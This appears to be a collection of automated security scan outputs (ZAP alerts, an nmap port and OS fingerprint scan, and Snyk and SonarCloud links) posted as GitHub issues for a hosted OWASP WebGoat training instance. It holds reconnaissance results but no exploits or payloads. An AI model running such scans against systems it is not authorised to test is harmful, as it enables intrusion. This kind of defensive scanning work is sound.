    - <http://20.207.205.9:8080/sitemap.xml>
    - <http://20.207.205.9:8080/WebGoat/registration>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://20.207.205.9:8080/>
    - <http://20.207.205.9:8080/robots.txt>
    - <http://20.207.205.9:8080/sitemap.xml>
    - <http://20.207.205.9:8080/WebGoat/registration>
  - **User Agent Fuzzer** [10104] total: 12:
    - <http://20.207.205.9:8080/WebGoat>
    - <http://20.207.205.9:8080/WebGoat>
    - <http://20.207.205.9:8080/WebGoat>
    - <http://20.207.205.9:8080/WebGoat>
    - <http://20.207.205.9:8080/WebGoat>
    - ..

View the [following link](#) to download the report. RunnerID:6518346087

# Nmap-ParrotOS Scan output

GitHub Issue number # 518

GitHub Issue URL : [Here!](#)

**parrotOS**  
**nmap**

Nmap vulnerability scanning  
for 40.80.82.22

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [543 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 2s (8049 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 32.5 MB of archives.

After this operation, 44.0 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 32.5 MB of archives.

After this operation, 44.0 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-14 14:12 UTC

Nmap scan report for 40.80.82.22

Host is up (0.23s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 5a:29:69:fb:94:04:da:33:95:35:2f:19:f3:95:4f:dd (ECDSA)

|\_ 256 40:d2:8d:4d:35:9d:7e:75:77:2a:2e:8b:a2:4a:44:74 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sat, 14 Oct 2023 14:16:20 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|\_ Date: Sat, 14 Oct 2023 14:16:19 GMT

|\_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter\_CLI, WMSRequest, ibm-db2-das:  
| HTTP/1.1 400 Bad Request  
| Content-Length: 0  
| Connection: close  
| GetRequest:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Sat, 14 Oct 2023 14:16:19 GMT  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-10-14T14:16:19.285+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
| "path" : "/"  
| HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Sat, 14 Oct 2023 14:16:37 GMT  
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH  
| Connection: close



| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-10-14T14:16:37.241+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
|\_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=10/14%Time=652AA2B3%P=x86\_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Sat, 14 Oct 2023 14:16:

SF:19 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Sat, 14\n

SF:x20Oct 2023 14:16:19 GMT

")%r(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Sat, 14\

SF:20Oct 2023 14:16:20 GMT

")%r(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close

SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content

SF:-Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:0400 Bad Request Content-Length: 0 Connection: close\n

SF:r  
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con  
SF:tent-Length: 0 Connection: close  
")%r(TerminalServerCoo  
SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C  
SF:onnection: close  
")%r(TLSSessionReq,42,"HTTP/1.1 400 B  
SF:ad Request Content-Length: 0 Connection: close  
")  
SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x  
SF:200 Connection: close  
")%r(SMBProgNeg,42,"HTTP/1.1 400  
SF: Bad Request Content-Length: 0 Connection: close \n  
SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len  
SF:gth: 0 Connection: close  
")%r(LDAPSearchReq,42,"HTTP/1\n  
SF:.1 400 Bad Request Content-Length: 0 Connection: c  
SF:lose  
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C  
SF:ontent-Length: 0 Connection: close  
")%r(WMSRequest,42,"  
SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio  
SF:n: close  
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque  
SF:st Content-Length: 0 Connection: close  
");  
=====  
NEXT SERVICE FINGERPRINT (SUBMIT  
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=10/14%Time=652AA2B3%P=x86\_64-pc-linux-  
gnu%r(G  
SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac  
SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n  
SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr

SF:ame-Options: DENY Date: Sat, 14 Oct 2023 14:16:19\n  
SF:x20GMT Connection: close Vary: Origin Vary: Access-Co  
SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co  
SF:ntent-Type-Options: nosniff Content-Type: application/json  
SF: { \"timestamp\" : \"2023-10-14T14:16:19.285+00:00\n  
SF:\", \"status\" : 404, \"error\" : \"Not  
SF:0Found\", \"path\" : \"\" }\" )%r(WMSRequest,42,\"HTTP/1\n  
SF:.1 400 Bad Request Content-Length: 0 Connection: c  
SF:lose  
\" )%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request  
SF:Content-Length: 0 Connection: close  
\" )%r(SqueezeCenter\_  
SF:CLI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 C  
SF:onnection: close  
\" )%r(GenericLines,42,\"HTTP/1.1 400 Ba  
SF:d Request Content-Length: 0 Connection: close  
\" )%  
SF:r(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0 \n  
SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid  
SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache  
SF:X-Frame-Options: DENY Date: Sat, 14 Oct 2023 14:16  
SF::37 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR  
SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n  
SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ  
SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a  
SF:pplication/json  
{ \"timestamp\" : \"2023-10-14T14  
SF::16:37.241+00:00\", \"status\" : 404, \"error  
SF:\" : \"Not Found\", \"path\" : \"\" }\" )%r(RTS  
SF:PRequest,42,\"HTTP/1.1 400 Bad Request Content-Length: 0  
SF: Connection: close  
\" );

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%)

OS CPE: cpe:/o:linux:linuxkernel:4.0 cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.10 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation\_manager:5.1 cpe:/o:watchguard:fireware:11.8

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 2.6.39 (85%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5460.81 ms 40.80.82.22

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 348.02 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-14 14:18 UTC

Nmap scan report for 40.80.82.22

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-14 14:18 UTC

Nmap scan report for 40.80.82.22

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.27 seconds

# ZAP Full Scan Report

GitHub Issue number # 517

GitHub Issue URL : [Here!](#)

- Site: <http://40.80.82.22:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://40.80.82.22:8080/WebGoat/login>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://40.80.82.22:8080/WebGoat/login>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://40.80.82.22:8080/WebGoat/login>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://40.80.82.22:8080/WebGoat/login>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - <http://40.80.82.22:8080/>
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/WebGoat/login>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - <http://40.80.82.22:8080/>
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/WebGoat/login>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - <http://40.80.82.22:8080/>
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/WebGoat/login>
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - <http://40.80.82.22:8080/>
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/WebGoat/login>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://40.80.82.22:8080/>
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/sitemap.xml>
    - <http://40.80.82.22:8080/WebGoat/login>
  - **User Agent Fuzzer** [10104] total: 12:
    - <http://40.80.82.22:8080/WebGoat>
    - <http://40.80.82.22:8080/WebGoat>
    - <http://40.80.82.22:8080/WebGoat>
    - <http://40.80.82.22:8080/WebGoat>
    - <http://40.80.82.22:8080/WebGoat>
    - ..

View the [following link](#) to download the report. RunnerID:6518104121

# ZAP Full Scan Report

GitHub Issue number # 516

GitHub Issue URL : [Here!](#)

- Site: <http://40.80.82.22:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://40.80.82.22:8080/WebGoat/registration>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://40.80.82.22:8080/WebGoat/registration>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://40.80.82.22:8080/WebGoat/registration>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://40.80.82.22:8080/WebGoat/registration>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - <http://40.80.82.22:8080/>
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/sitemap.xml>
    - <http://40.80.82.22:8080/WebGoat/registration>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - <http://40.80.82.22:8080/>
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/sitemap.xml>
    - <http://40.80.82.22:8080/WebGoat/registration>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - <http://40.80.82.22:8080/>
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/sitemap.xml>
    - <http://40.80.82.22:8080/WebGoat/registration>
  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - <http://40.80.82.22:8080/>
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/sitemap.xml>
    - <http://40.80.82.22:8080/WebGoat/registration>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://40.80.82.22:8080/>
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/sitemap.xml>
    - <http://40.80.82.22:8080/WebGoat/registration>
  - **User Agent Fuzzer** [10104] total: 12:
    - <http://40.80.82.22:8080/WebGoat>
    - <http://40.80.82.22:8080/WebGoat>
    - <http://40.80.82.22:8080/WebGoat>
    - <http://40.80.82.22:8080/WebGoat>
    - <http://40.80.82.22:8080/WebGoat>
    - ..

View the [following link](#) to download the report. RunnerID:6518104121

# Sonar Cloud Code Scan Report

GitHub Issue number # 515

GitHub Issue URL : [Here!](#)

**SonarQube Cloud code scan**

## SonarCloud Scan for OWASP WebGoat

Go to [https://sonarcloud.io/project/overview?id=pradyumna-muppirala\\_WebGoatSAST](https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST) for full report of SonarCloud with Github SSO.

# Snyk Report

GitHub Issue number # 514

GitHub Issue URL : [Here!](#)

**Snyk\_scan**

## Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.



## Confidencial

Conclusion: This is the end of the report. The above logs show the execution traces for various security scanning tools.